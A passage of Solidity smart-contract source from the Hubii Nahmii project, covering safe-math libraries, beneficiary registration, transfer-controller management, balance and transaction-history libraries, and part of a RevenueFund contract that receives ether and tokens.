/// @return true if beneficiary is registered, else false
function isRegisteredBeneficiary(Beneficiary beneficiary)
public
view
returns (bool)
{
return beneficiaryIndexByAddress[address(beneficiary)] > 0;
}
/// @notice Get the count of registered beneficiaries
/// @return The count of registered beneficiaries
function registeredBeneficiariesCount()
public
view
returns (uint256)
{
return beneficiaries.length;
}
}
/*
* Hubii Nahmii
*
* Compliant with the Hubii Nahmii specification v0.12.
*
* Copyright (C) 2017-2018 Hubii AS based on Open-Zeppelin's SafeMath library
*/
/**
* @title SafeMathIntLib
* @dev Math operations with safety checks that throw on error
*/
library SafeMathIntLib {
int256 constant INT256_MIN = int256((uint256(1) << 255));
int256 constant INT256_MAX = int256(~((uint256(1) << 255)));
//
//Functions below accept positive and negative integers and result must not overflow.
//
function div(int256 a, int256 b)
internal
pure
returns (int256)
{
require(a != INT256_MIN || b != - 1);
return a / b;
}
function mul(int256 a, int256 b)
internal
pure
returns (int256)
{
require(a != - 1 || b != INT256_MIN);
// overflow
require(b != - 1 || a != INT256_MIN);
// overflow
int256 c = a * b;
require((b == 0) || (c / b == a));
return c;
}
function sub(int256 a, int256 b)
internal
pure
returns (int256)
{
require((b >= 0 && a - b <= a) || (b < 0 && a - b > a));
return a - b;
}
function add(int256 a, int256 b)
internal
pure
returns (int256)
{
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a));
return c;
}
//
//Functions below only accept positive integers and result must be greater or equal to zero too.
//
function div_nn(int256 a, int256 b)
internal
pure
returns (int256)
{
require(a >= 0 && b > 0);
return a / b;
}
function mul_nn(int256 a, int256 b)
internal
pure
returns (int256)
{
require(a >= 0 && b >= 0);
int256 c = a * b;
require(a == 0 || c / a == b);
require(c >= 0);
return c;
}
function sub_nn(int256 a, int256 b)
internal
pure
returns (int256)
{
require(a >= 0 && b >= 0 && b <= a);
return a - b;
}
function add_nn(int256 a, int256 b)
internal
pure
returns (int256)
{
require(a >= 0 && b >= 0);
int256 c = a + b;
require(c >= a);
return c;
}
//
//Conversion and validation functions.
//
function abs(int256 a)
public
pure
returns (int256)
{
return a < 0 ? neg(a) : a;
}
function neg(int256 a)
public
pure
returns (int256)
{
return mul(a, - 1);
}
function toNonZeroInt256(uint256 a)
public
pure
returns (int256)
{
require(a > 0 && a < (uint256(1) << 255));
return int256(a);
}
function toInt256(uint256 a)
public
pure
returns (int256)
{
require(a >= 0 && a < (uint256(1) << 255));
return int256(a);
}
function toUInt256(int256 a)
public
pure
returns (uint256)
{
require(a >= 0);
return uint256(a);
}
function isNonZeroPositiveInt256(int256 a)
public
pure
returns (bool)
{
return (a > 0);
}
function isPositiveInt256(int256 a)
public
pure
returns (bool)
{
return (a >= 0);
}
function isNonZeroNegativeInt256(int256 a)
public
pure
returns (bool)
{
return (a < 0);
}
function isNegativeInt256(int256 a)
public
pure
returns (bool)
{
return (a <= 0);
}
//
//Clamping functions.
//
function clamp(int256 a, int256 min, int256 max)
public
pure
returns (int256)
{
if (a < min)
return min;
return (a > max) ? max : a;
}
function clampMin(int256 a, int256 min)
public
pure
returns (int256)
{
return (a < min) ? min : a;
}
function clampMax(int256 a, int256 max)
public
pure
returns (int256)
{
return (a > max) ? max : a;
}
}
/*
* Hubii Nahmii
*
* Compliant with the Hubii Nahmii specification v0.12.
*
* Copyright (C) 2017-2018 Hubii AS
*/
library ConstantsLib {
// Get the fraction that represents the entirety, equivalent of 100%
function PARTS_PER()
public
pure
returns (int256)
{
return 1e18;
}
}
/*
* Hubii Nahmii
*
* Compliant with the Hubii Nahmii specification v0.12.
*
* Copyright (C) 2017-2018 Hubii AS
*/
/**
* @title AccrualBenefactor
* @notice A benefactor whose registered beneficiaries obtain a predefined fraction of total amount
*/
contract AccrualBenefactor is Benefactor {
using SafeMathIntLib for int256;
//
// Variables
// -----------------------------------------------------------------------------------------------------------------
mapping(address => int256) private _beneficiaryFractionMap;
int256 public totalBeneficiaryFraction;
//
// Events
// -----------------------------------------------------------------------------------------------------------------
event RegisterAccrualBeneficiaryEvent(Beneficiary beneficiary, int256 fraction);
event DeregisterAccrualBeneficiaryEvent(Beneficiary beneficiary);
//
// Functions
// -----------------------------------------------------------------------------------------------------------------
/// @notice Register the given accrual beneficiary for the entirety fraction
/// @param beneficiary Address of accrual beneficiary to be registered
function registerBeneficiary(Beneficiary beneficiary)
public
onlyDeployer
notNullAddress(address(beneficiary))
returns (bool)
{
return registerFractionalBeneficiary(AccrualBeneficiary(address(beneficiary)), ConstantsLib.PARTS_PER());
}
/// @notice Register the given accrual beneficiary for the given fraction
/// @param beneficiary Address of accrual beneficiary to be registered
/// @param fraction Fraction of benefits to be given
function registerFractionalBeneficiary(AccrualBeneficiary beneficiary, int256 fraction)
public
onlyDeployer
notNullAddress(address(beneficiary))
returns (bool)
{
require(fraction > 0, "Fraction not strictly positive [AccrualBenefactor.sol:59]");
require(
totalBeneficiaryFraction.add(fraction) <= ConstantsLib.PARTS_PER(),
"Total beneficiary fraction out of bounds [AccrualBenefactor.sol:60]"
);
if (!super.registerBeneficiary(beneficiary))
return false;
_beneficiaryFractionMap[address(beneficiary)] = fraction;
totalBeneficiaryFraction = totalBeneficiaryFraction.add(fraction);
// Emit event
emit RegisterAccrualBeneficiaryEvent(beneficiary, fraction);
return true;
}
/// @notice Deregister the given accrual beneficiary
/// @param beneficiary Address of accrual beneficiary to be deregistered
function deregisterBeneficiary(Beneficiary beneficiary)
public
onlyDeployer
notNullAddress(address(beneficiary))
returns (bool)
{
if (!super.deregisterBeneficiary(beneficiary))
return false;
address _beneficiary = address(beneficiary);
totalBeneficiaryFraction = totalBeneficiaryFraction.sub(_beneficiaryFractionMap[_beneficiary]);
_beneficiaryFractionMap[_beneficiary] = 0;
// Emit event
emit DeregisterAccrualBeneficiaryEvent(beneficiary);
return true;
}
/// @notice Get the fraction of benefits that is granted the given accrual beneficiary
/// @param beneficiary Address of accrual beneficiary
/// @return The beneficiary's fraction
function beneficiaryFraction(AccrualBeneficiary beneficiary)
public
view
returns (int256)
{
return _beneficiaryFractionMap[address(beneficiary)];
}
}
/*
* Hubii Nahmii
*
* Compliant with the Hubii Nahmii specification v0.12.
*
* Copyright (C) 2017-2018 Hubii AS
*/
/**
* @title TransferController
* @notice A base contract to handle transfers of different currency types
*/
contract TransferController {
//
// Events
// -----------------------------------------------------------------------------------------------------------------
event CurrencyTransferred(address from, address to, uint256 value,
address currencyCt, uint256 currencyId);
//
// Functions
// -----------------------------------------------------------------------------------------------------------------
function isFungible()
public
view
returns (bool);
function standard()
public
view
returns (string memory);
/// @notice MUST be called with DELEGATECALL
function receive(address from, address to, uint256 value, address currencyCt, uint256 currencyId)
public;
/// @notice MUST be called with DELEGATECALL
function approve(address to, uint256 value, address currencyCt, uint256 currencyId)
public;
/// @notice MUST be called with DELEGATECALL
function dispatch(address from, address to, uint256 value, address currencyCt, uint256 currencyId)
public;
//----------------------------------------
function getReceiveSignature()
public
pure
returns (bytes4)
{
return bytes4(keccak256("receive(address,address,uint256,address,uint256)"));
}
function getApproveSignature()
public
pure
returns (bytes4)
{
return bytes4(keccak256("approve(address,uint256,address,uint256)"));
}
function getDispatchSignature()
public
pure
returns (bytes4)
{
return bytes4(keccak256("dispatch(address,address,uint256,address,uint256)"));
}
}
/*
* Hubii Nahmii
*
* Compliant with the Hubii Nahmii specification v0.12.
*
* Copyright (C) 2017-2018 Hubii AS
*/
/**
* @title TransferControllerManager
* @notice Handles the management of transfer controllers
*/
contract TransferControllerManager is Ownable {
//
// Constants
// -----------------------------------------------------------------------------------------------------------------
struct CurrencyInfo {
bytes32 standard;
bool blacklisted;
}
//
// Variables
// -----------------------------------------------------------------------------------------------------------------
mapping(bytes32 => address) public registeredTransferControllers;
mapping(address => CurrencyInfo) public registeredCurrencies;
//
// Events
// -----------------------------------------------------------------------------------------------------------------
event RegisterTransferControllerEvent(string standard, address controller);
event ReassociateTransferControllerEvent(string oldStandard, string newStandard, address controller);
event RegisterCurrencyEvent(address currencyCt, string standard);
event DeregisterCurrencyEvent(address currencyCt);
event BlacklistCurrencyEvent(address currencyCt);
event WhitelistCurrencyEvent(address currencyCt);
//
// Constructor
// -----------------------------------------------------------------------------------------------------------------
constructor(address deployer) Ownable(deployer) public {
}
//
// Functions
// -----------------------------------------------------------------------------------------------------------------
function registerTransferController(string calldata standard, address controller)
external
onlyDeployer
notNullAddress(controller)
{
require(bytes(standard).length > 0, "Empty standard not supported [TransferControllerManager.sol:58]");
bytes32 standardHash = keccak256(abi.encodePacked(standard));
registeredTransferControllers[standardHash] = controller;
// Emit event
emit RegisterTransferControllerEvent(standard, controller);
}
function reassociateTransferController(string calldata oldStandard, string calldata newStandard, address controller)
external
onlyDeployer
notNullAddress(controller)
{
require(bytes(newStandard).length > 0, "Empty new standard not supported [TransferControllerManager.sol:72]");
bytes32 oldStandardHash = keccak256(abi.encodePacked(oldStandard));
bytes32 newStandardHash = keccak256(abi.encodePacked(newStandard));
require(registeredTransferControllers[oldStandardHash] != address(0), "Old standard not registered [TransferControllerManager.sol:76]");
require(registeredTransferControllers[newStandardHash] == address(0), "New standard previously registered [TransferControllerManager.sol:77]");
registeredTransferControllers[newStandardHash] = registeredTransferControllers[oldStandardHash];
registeredTransferControllers[oldStandardHash] = address(0);
// Emit event
emit ReassociateTransferControllerEvent(oldStandard, newStandard, controller);
}
function registerCurrency(address currencyCt, string calldata standard)
external
onlyOperator
notNullAddress(currencyCt)
{
require(bytes(standard).length > 0, "Empty standard not supported [TransferControllerManager.sol:91]");
bytes32 standardHash = keccak256(abi.encodePacked(standard));
require(registeredCurrencies[currencyCt].standard == bytes32(0), "Currency previously registered [TransferControllerManager.sol:94]");
registeredCurrencies[currencyCt].standard = standardHash;
// Emit event
emit RegisterCurrencyEvent(currencyCt, standard);
}
function deregisterCurrency(address currencyCt)
external
onlyOperator
{
require(registeredCurrencies[currencyCt].standard != 0, "Currency not registered [TransferControllerManager.sol:106]");
registeredCurrencies[currencyCt].standard = bytes32(0);
registeredCurrencies[currencyCt].blacklisted = false;
// Emit event
emit DeregisterCurrencyEvent(currencyCt);
}
function blacklistCurrency(address currencyCt)
external
onlyOperator
{
require(registeredCurrencies[currencyCt].standard != bytes32(0), "Currency not registered [TransferControllerManager.sol:119]");
registeredCurrencies[currencyCt].blacklisted = true;
// Emit event
emit BlacklistCurrencyEvent(currencyCt);
}
function whitelistCurrency(address currencyCt)
external
onlyOperator
{
require(registeredCurrencies[currencyCt].standard != bytes32(0), "Currency not registered [TransferControllerManager.sol:131]");
registeredCurrencies[currencyCt].blacklisted = false;
// Emit event
emit WhitelistCurrencyEvent(currencyCt);
}
/**
@notice The provided standard takes priority over assigned interface to currency
*/
function transferController(address currencyCt, string memory standard)
public
view
returns (TransferController)
{
if (bytes(standard).length > 0) {
bytes32 standardHash = keccak256(abi.encodePacked(standard));
require(registeredTransferControllers[standardHash] != address(0), "Standard not registered [TransferControllerManager.sol:150]");
return TransferController(registeredTransferControllers[standardHash]);
}
require(registeredCurrencies[currencyCt].standard != bytes32(0), "Currency not registered [TransferControllerManager.sol:154]");
require(!registeredCurrencies[currencyCt].blacklisted, "Currency blacklisted [TransferControllerManager.sol:155]");
address controllerAddress = registeredTransferControllers[registeredCurrencies[currencyCt].standard];
require(controllerAddress != address(0), "No matching transfer controller [TransferControllerManager.sol:158]");
return TransferController(controllerAddress);
}
}
/*
* Hubii Nahmii
*
* Compliant with the Hubii Nahmii specification v0.12.
*
* Copyright (C) 2017-2018 Hubii AS
*/
/**
* @title TransferControllerManageable
* @notice An ownable with a transfer controller manager
*/
contract TransferControllerManageable is Ownable {
//
// Variables
// -----------------------------------------------------------------------------------------------------------------
TransferControllerManager public transferControllerManager;
//
// Events
// -----------------------------------------------------------------------------------------------------------------
event SetTransferControllerManagerEvent(TransferControllerManager oldTransferControllerManager,
TransferControllerManager newTransferControllerManager);
//
// Functions
// -----------------------------------------------------------------------------------------------------------------
/// @notice Set the currency manager contract
/// @param newTransferControllerManager The (address of) TransferControllerManager contract instance
function setTransferControllerManager(TransferControllerManager newTransferControllerManager)
public
onlyDeployer
notNullAddress(address(newTransferControllerManager))
notSameAddresses(address(newTransferControllerManager), address(transferControllerManager))
{
//set new currency manager
TransferControllerManager oldTransferControllerManager = transferControllerManager;
transferControllerManager = newTransferControllerManager;
// Emit event
emit SetTransferControllerManagerEvent(oldTransferControllerManager, newTransferControllerManager);
}
/// @notice Get the transfer controller of the given currency contract address and standard
function transferController(address currencyCt, string memory standard)
internal
view
returns (TransferController)
{
return transferControllerManager.transferController(currencyCt, standard);
}
//
// Modifiers
// -----------------------------------------------------------------------------------------------------------------
modifier transferControllerManagerInitialized() {
require(address(transferControllerManager) != address(0), "Transfer controller manager not initialized [TransferControllerManageable.sol:63]");
_;
}
}
/*
* Hubii Nahmii
*
* Compliant with the Hubii Nahmii specification v0.12.
*
* Copyright (C) 2017-2018 Hubii AS based on Open-Zeppelin's SafeMath library
*/
/**
* @title SafeMathUintLib
* @dev Math operations with safety checks that throw on error
*/
library SafeMathUintLib {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
uint256 c = a + b;
assert(c >= a);
return c;
}
//
//Clamping functions.
//
function clamp(uint256 a, uint256 min, uint256 max)
public
pure
returns (uint256)
{
return (a > max) ? max : ((a < min) ? min : a);
}
function clampMin(uint256 a, uint256 min)
public
pure
returns (uint256)
{
return (a < min) ? min : a;
}
function clampMax(uint256 a, uint256 max)
public
pure
returns (uint256)
{
return (a > max) ? max : a;
}
}
/*
* Hubii Nahmii
*
* Compliant with the Hubii Nahmii specification v0.12.
*
* Copyright (C) 2017-2018 Hubii AS
*/
library CurrenciesLib {
using SafeMathUintLib for uint256;
//
// Structures
// -----------------------------------------------------------------------------------------------------------------
struct Currencies {
MonetaryTypesLib.Currency[] currencies;
mapping(address => mapping(uint256 => uint256)) indexByCurrency;
}
//
// Functions
// -----------------------------------------------------------------------------------------------------------------
function add(Currencies storage self, address currencyCt, uint256 currencyId)
internal
{
// Index is 1-based
if (0 == self.indexByCurrency[currencyCt][currencyId]) {
self.currencies.push(MonetaryTypesLib.Currency(currencyCt, currencyId));
self.indexByCurrency[currencyCt][currencyId] = self.currencies.length;
}
}
function removeByCurrency(Currencies storage self, address currencyCt, uint256 currencyId)
internal
{
// Index is 1-based
uint256 index = self.indexByCurrency[currencyCt][currencyId];
if (0 < index)
removeByIndex(self, index - 1);
}
function removeByIndex(Currencies storage self, uint256 index)
internal
{
require(index < self.currencies.length, "Index out of bounds [CurrenciesLib.sol:51]");
address currencyCt = self.currencies[index].ct;
uint256 currencyId = self.currencies[index].id;
if (index < self.currencies.length - 1) {
self.currencies[index] = self.currencies[self.currencies.length - 1];
self.indexByCurrency[self.currencies[index].ct][self.currencies[index].id] = index + 1;
}
self.currencies.length--;
self.indexByCurrency[currencyCt][currencyId] = 0;
}
function count(Currencies storage self)
internal
view
returns (uint256)
{
return self.currencies.length;
}
function has(Currencies storage self, address currencyCt, uint256 currencyId)
internal
view
returns (bool)
{
return 0 != self.indexByCurrency[currencyCt][currencyId];
}
function getByIndex(Currencies storage self, uint256 index)
internal
view
returns (MonetaryTypesLib.Currency memory)
{
require(index < self.currencies.length, "Index out of bounds [CurrenciesLib.sol:85]");
return self.currencies[index];
}
function getByIndices(Currencies storage self, uint256 low, uint256 up)
internal
view
returns (MonetaryTypesLib.Currency[] memory)
{
require(0 < self.currencies.length, "No currencies found [CurrenciesLib.sol:94]");
require(low <= up, "Bounds parameters mismatch [CurrenciesLib.sol:95]");
up = up.clampMax(self.currencies.length - 1);
MonetaryTypesLib.Currency[] memory _currencies = new MonetaryTypesLib.Currency[](up - low + 1);
for (uint256 i = low; i <= up; i++)
_currencies[i - low] = self.currencies[i];
return _currencies;
}
}
/*
* Hubii Nahmii
*
* Compliant with the Hubii Nahmii specification v0.12.
*
* Copyright (C) 2017-2018 Hubii AS
*/
library FungibleBalanceLib {
using SafeMathIntLib for int256;
using SafeMathUintLib for uint256;
using CurrenciesLib for CurrenciesLib.Currencies;
//
// Structures
// -----------------------------------------------------------------------------------------------------------------
struct Record {
int256 amount;
uint256 blockNumber;
}
struct Balance {
mapping(address => mapping(uint256 => int256)) amountByCurrency;
mapping(address => mapping(uint256 => Record[])) recordsByCurrency;
CurrenciesLib.Currencies inUseCurrencies;
CurrenciesLib.Currencies everUsedCurrencies;
}
//
// Functions
// -----------------------------------------------------------------------------------------------------------------
function get(Balance storage self, address currencyCt, uint256 currencyId)
internal
view
returns (int256)
{
return self.amountByCurrency[currencyCt][currencyId];
}
function getByBlockNumber(Balance storage self, address currencyCt, uint256 currencyId, uint256 blockNumber)
internal
view
returns (int256)
{
(int256 amount,) = recordByBlockNumber(self, currencyCt, currencyId, blockNumber);
return amount;
}
function set(Balance storage self, int256 amount, address currencyCt, uint256 currencyId)
internal
{
self.amountByCurrency[currencyCt][currencyId] = amount;
self.recordsByCurrency[currencyCt][currencyId].push(
Record(self.amountByCurrency[currencyCt][currencyId], block.number)
);
updateCurrencies(self, currencyCt, currencyId);
}
function add(Balance storage self, int256 amount, address currencyCt, uint256 currencyId)
internal
{
self.amountByCurrency[currencyCt][currencyId] = self.amountByCurrency[currencyCt][currencyId].add(amount);
self.recordsByCurrency[currencyCt][currencyId].push(
Record(self.amountByCurrency[currencyCt][currencyId], block.number)
);
updateCurrencies(self, currencyCt, currencyId);
}
function sub(Balance storage self, int256 amount, address currencyCt, uint256 currencyId)
internal
{
self.amountByCurrency[currencyCt][currencyId] = self.amountByCurrency[currencyCt][currencyId].sub(amount);
self.recordsByCurrency[currencyCt][currencyId].push(
Record(self.amountByCurrency[currencyCt][currencyId], block.number)
);
updateCurrencies(self, currencyCt, currencyId);
}
function transfer(Balance storage _from, Balance storage _to, int256 amount,
address currencyCt, uint256 currencyId)
internal
{
sub(_from, amount, currencyCt, currencyId);
add(_to, amount, currencyCt, currencyId);
}
function add_nn(Balance storage self, int256 amount, address currencyCt, uint256 currencyId)
internal
{
self.amountByCurrency[currencyCt][currencyId] = self.amountByCurrency[currencyCt][currencyId].add_nn(amount);
self.recordsByCurrency[currencyCt][currencyId].push(
Record(self.amountByCurrency[currencyCt][currencyId], block.number)
);
updateCurrencies(self, currencyCt, currencyId);
}
function sub_nn(Balance storage self, int256 amount, address currencyCt, uint256 currencyId)
internal
{
self.amountByCurrency[currencyCt][currencyId] = self.amountByCurrency[currencyCt][currencyId].sub_nn(amount);
self.recordsByCurrency[currencyCt][currencyId].push(
Record(self.amountByCurrency[currencyCt][currencyId], block.number)
);
updateCurrencies(self, currencyCt, currencyId);
}
function transfer_nn(Balance storage _from, Balance storage _to, int256 amount,
address currencyCt, uint256 currencyId)
internal
{
sub_nn(_from, amount, currencyCt, currencyId);
add_nn(_to, amount, currencyCt, currencyId);
}
function recordsCount(Balance storage self, address currencyCt, uint256 currencyId)
internal
view
returns (uint256)
{
return self.recordsByCurrency[currencyCt][currencyId].length;
}
function recordByBlockNumber(Balance storage self, address currencyCt, uint256 currencyId, uint256 blockNumber)
internal
view
returns (int256, uint256)
{
uint256 index = indexByBlockNumber(self, currencyCt, currencyId, blockNumber);
return 0 < index ? recordByIndex(self, currencyCt, currencyId, index - 1) : (0, 0);
}
function recordByIndex(Balance storage self, address currencyCt, uint256 currencyId, uint256 index)
internal
view
returns (int256, uint256)
{
if (0 == self.recordsByCurrency[currencyCt][currencyId].length)
return (0, 0);
index = index.clampMax(self.recordsByCurrency[currencyCt][currencyId].length - 1);
Record storage record = self.recordsByCurrency[currencyCt][currencyId][index];
return (record.amount, record.blockNumber);
}
function lastRecord(Balance storage self, address currencyCt, uint256 currencyId)
internal
view
returns (int256, uint256)
{
if (0 == self.recordsByCurrency[currencyCt][currencyId].length)
return (0, 0);
Record storage record = self.recordsByCurrency[currencyCt][currencyId][self.recordsByCurrency[currencyCt][currencyId].length - 1];
return (record.amount, record.blockNumber);
}
function hasInUseCurrency(Balance storage self, address currencyCt, uint256 currencyId)
internal
view
returns (bool)
{
return self.inUseCurrencies.has(currencyCt, currencyId);
}
function hasEverUsedCurrency(Balance storage self, address currencyCt, uint256 currencyId)
internal
view
returns (bool)
{
return self.everUsedCurrencies.has(currencyCt, currencyId);
}
function updateCurrencies(Balance storage self, address currencyCt, uint256 currencyId)
internal
{
if (0 == self.amountByCurrency[currencyCt][currencyId] && self.inUseCurrencies.has(currencyCt, currencyId))
self.inUseCurrencies.removeByCurrency(currencyCt, currencyId);
else if (!self.inUseCurrencies.has(currencyCt, currencyId)) {
self.inUseCurrencies.add(currencyCt, currencyId);
self.everUsedCurrencies.add(currencyCt, currencyId);
}
}
function indexByBlockNumber(Balance storage self, address currencyCt, uint256 currencyId, uint256 blockNumber)
internal
view
returns (uint256)
{
if (0 == self.recordsByCurrency[currencyCt][currencyId].length)
return 0;
for (uint256 i = self.recordsByCurrency[currencyCt][currencyId].length; i > 0; i--)
if (self.recordsByCurrency[currencyCt][currencyId][i - 1].blockNumber <= blockNumber)
return i;
return 0;
}
}
/*
* Hubii Nahmii
*
* Compliant with the Hubii Nahmii specification v0.12.
*
* Copyright (C) 2017-2018 Hubii AS
*/
library TxHistoryLib {
//
// Structures
// -----------------------------------------------------------------------------------------------------------------
struct AssetEntry {
int256 amount;
uint256 blockNumber;
address currencyCt; //0 for ethers
uint256 currencyId;
}
struct TxHistory {
AssetEntry[] deposits;
mapping(address => mapping(uint256 => AssetEntry[])) currencyDeposits;
AssetEntry[] withdrawals;
mapping(address => mapping(uint256 => AssetEntry[])) currencyWithdrawals;
}
//
// Functions
// -----------------------------------------------------------------------------------------------------------------
function addDeposit(TxHistory storage self, int256 amount, address currencyCt, uint256 currencyId)
internal
{
AssetEntry memory deposit = AssetEntry(amount, block.number, currencyCt, currencyId);
self.deposits.push(deposit);
self.currencyDeposits[currencyCt][currencyId].push(deposit);
}
function addWithdrawal(TxHistory storage self, int256 amount, address currencyCt, uint256 currencyId)
internal
{
AssetEntry memory withdrawal = AssetEntry(amount, block.number, currencyCt, currencyId);
self.withdrawals.push(withdrawal);
self.currencyWithdrawals[currencyCt][currencyId].push(withdrawal);
}
//----
function deposit(TxHistory storage self, uint index)
internal
view
returns (int256 amount, uint256 blockNumber, address currencyCt, uint256 currencyId)
{
require(index < self.deposits.length, "Index ouf of bounds [TxHistoryLib.sol:56]");
amount = self.deposits[index].amount;
blockNumber = self.deposits[index].blockNumber;
currencyCt = self.deposits[index].currencyCt;
currencyId = self.deposits[index].currencyId;
}
function depositsCount(TxHistory storage self)
internal
view
returns (uint256)
{
return self.deposits.length;
}
function currencyDeposit(TxHistory storage self, address currencyCt, uint256 currencyId, uint index)
internal
view
returns (int256 amount, uint256 blockNumber)
{
require(index < self.currencyDeposits[currencyCt][currencyId].length, "Index out of bounds [TxHistoryLib.sol:77]");
amount = self.currencyDeposits[currencyCt][currencyId][index].amount;
blockNumber = self.currencyDeposits[currencyCt][currencyId][index].blockNumber;
}
function currencyDepositsCount(TxHistory storage self, address currencyCt, uint256 currencyId)
internal
view
returns (uint256)
{
return self.currencyDeposits[currencyCt][currencyId].length;
}
//----
function withdrawal(TxHistory storage self, uint index)
internal
view
returns (int256 amount, uint256 blockNumber, address currencyCt, uint256 currencyId)
{
require(index < self.withdrawals.length, "Index out of bounds [TxHistoryLib.sol:98]");
amount = self.withdrawals[index].amount;
blockNumber = self.withdrawals[index].blockNumber;
currencyCt = self.withdrawals[index].currencyCt;
currencyId = self.withdrawals[index].currencyId;
}
function withdrawalsCount(TxHistory storage self)
internal
view
returns (uint256)
{
return self.withdrawals.length;
}
function currencyWithdrawal(TxHistory storage self, address currencyCt, uint256 currencyId, uint index)
internal
view
returns (int256 amount, uint256 blockNumber)
{
require(index < self.currencyWithdrawals[currencyCt][currencyId].length, "Index out of bounds [TxHistoryLib.sol:119]");
amount = self.currencyWithdrawals[currencyCt][currencyId][index].amount;
blockNumber = self.currencyWithdrawals[currencyCt][currencyId][index].blockNumber;
}
function currencyWithdrawalsCount(TxHistory storage self, address currencyCt, uint256 currencyId)
internal
view
returns (uint256)
{
return self.currencyWithdrawals[currencyCt][currencyId].length;
}
}
/*
* Hubii Nahmii
*
* Compliant with the Hubii Nahmii specification v0.12.
*
* Copyright (C) 2017-2018 Hubii AS
*/
/**
* @title RevenueFund
* @notice The target of all revenue earned in driip settlements and from which accrued revenue is split amongst
* accrual beneficiaries.
*/
contract RevenueFund is Ownable, AccrualBeneficiary, AccrualBenefactor, TransferControllerManageable {
using FungibleBalanceLib for FungibleBalanceLib.Balance;
using TxHistoryLib for TxHistoryLib.TxHistory;
using SafeMathIntLib for int256;
using SafeMathUintLib for uint256;
using CurrenciesLib for CurrenciesLib.Currencies;
//
// Variables
// -----------------------------------------------------------------------------------------------------------------
FungibleBalanceLib.Balance periodAccrual;
CurrenciesLib.Currencies periodCurrencies;
FungibleBalanceLib.Balance aggregateAccrual;
CurrenciesLib.Currencies aggregateCurrencies;
TxHistoryLib.TxHistory private txHistory;
//
// Events
// -----------------------------------------------------------------------------------------------------------------
event ReceiveEvent(address from, int256 amount, address currencyCt, uint256 currencyId);
event CloseAccrualPeriodEvent();
event RegisterServiceEvent(address service);
event DeregisterServiceEvent(address service);
//
// Constructor
// -----------------------------------------------------------------------------------------------------------------
constructor(address deployer) Ownable(deployer) public {
}
//
// Functions
// -----------------------------------------------------------------------------------------------------------------
/// @notice Fallback function that deposits ethers
function() external payable {
receiveEthersTo(msg.sender, "");
}
/// @notice Receive ethers to
/// @param wallet The concerned wallet address
function receiveEthersTo(address wallet, string memory)
public
payable
{
int256 amount = SafeMathIntLib.toNonZeroInt256(msg.value);
// Add to balances
periodAccrual.add(amount, address(0), 0);
aggregateAccrual.add(amount, address(0), 0);
// Add currency to stores of currencies
periodCurrencies.add(address(0), 0);
aggregateCurrencies.add(address(0), 0);
// Add to transaction history
txHistory.addDeposit(amount, address(0), 0);
// Emit event
emit ReceiveEvent(wallet, amount, address(0), 0);
}
/// @notice Receive tokens
/// @param amount The concerned amount
/// @param currencyCt The address of the concerned currency contract (address(0) == ETH)
/// @param currencyId The ID of the concerned currency (0 for ETH and ERC20)
/// @param standard The standard of token ("ERC20", "ERC721")
function receiveTokens(string memory balanceType, int256 amount, address currencyCt,
uint256 currencyId, string memory standard)
public
{
receiveTokensTo(msg.sender, balanceType, amount, currencyCt, currencyId, standard);
}
/// @notice Receive tokens to
/// @param wallet The address of the concerned wallet
/// @param amount The concerned amount
/// @param currencyCt The address of the concerned currency contract (address(0) == ETH)
/// @param currencyId The ID of the concerned currency (0 for ETH and ERC20)
/// @param standard The standard of token ("ERC20", "ERC721")
function receiveTokensTo(address wallet, string memory, int256 amount,
address currencyCt, uint256 currencyId, string memory standard)
public
{
require(amount.isNonZeroPositiveInt256(), "Amount not strictly positive [RevenueFund.sol:115]");
// Execute transfer
TransferController controller = transferController(currencyCt, standard);
(bool success,) = address(controller).delegatecall(
abi.encodeWithSelector(
controller.getReceiveSignature(), msg.sender, this, uint256(amount), currencyCt, currencyId
)
);
require(success, "Reception by controller failed [RevenueFund.sol:124]");
// Add to balances
periodAccrual.add(amount, currencyCt, currencyId);
aggregateAccrual.add(amount, currencyCt, currencyId);
// Add currency to stores of currencies
periodCurrencies.add(currencyCt, currencyId);
aggregateCurrencies.add(currencyCt, currencyId);
// Add to transaction history
txHistory.addDeposit(amount, currencyCt, currencyId);
// Emit event
emit ReceiveEvent(wallet, amount, currencyCt, currencyId);
}
/// @notice Get the period accrual balance of the given currency
/// @param currencyCt The address of the concerned currency contract (address(0) == ETH)
/// @param currencyId The ID of the concerned currency (0 for ETH and ERC20)
/// @return The current period's accrual balance
function periodAccrualBalance(address currencyCt, uint256 currencyId)
public
view
returns (int256)
{
return periodAccrual.get(currencyCt, currencyId);
}
/// @notice Get the aggregate accrual balance of the given currency, including contribution from the
/// current accrual period
/// @param currencyCt The address of the concerned currency contract (address(0) == ETH)
/// @param currencyId The ID of the concerned currency (0 for ETH and ERC20)
/// @return The aggregate accrual balance
function aggregateAccrualBalance(address currencyCt, uint256 currencyId)
public
view
returns (int256)
{
return aggregateAccrual.get(currencyCt, currencyId);
}
/// @notice Get the count of currencies recorded in the accrual period
/// @return The number of currencies in the current accrual period
function periodCurrenciesCount()
public
view
returns (uint256)
{
return periodCurrencies.count();
}
/// @notice Get the currencies with indices in the given range that have been recorded in the current accrual period
/// @param low The lower currency index
/// @param up The upper currency index
/// @return The currencies of the given index range in the current accrual period
function periodCurrenciesByIndices(uint256 low, uint256 up)
public
view
returns (MonetaryTypesLib.Currency[] memory)
{
return periodCurrencies.getByIndices(low, up);
}
/// @notice Get the count of currencies ever recorded
/// @return The number of currencies ever recorded
function aggregateCurrenciesCount()
public
view
returns (uint256)
{
return aggregateCurrencies.count();
}
/// @notice Get the currencies with indices in the given range that have ever been recorded
/// @param low The lower currency index
/// @param up The upper currency index
/// @return The currencies of the given index range ever recorded
function aggregateCurrenciesByIndices(uint256 low, uint256 up)
public
view
returns (MonetaryTypesLib.Currency[] memory)
{
return aggregateCurrencies.getByIndices(low, up);
}
/// @notice Get the count of deposits
/// @return The count of deposits
function depositsCount()
public
view
returns (uint256)
{
return txHistory.depositsCount();
}
/// @notice Get the deposit at the given index
/// @return The deposit at the given index
function deposit(uint index)
public
view
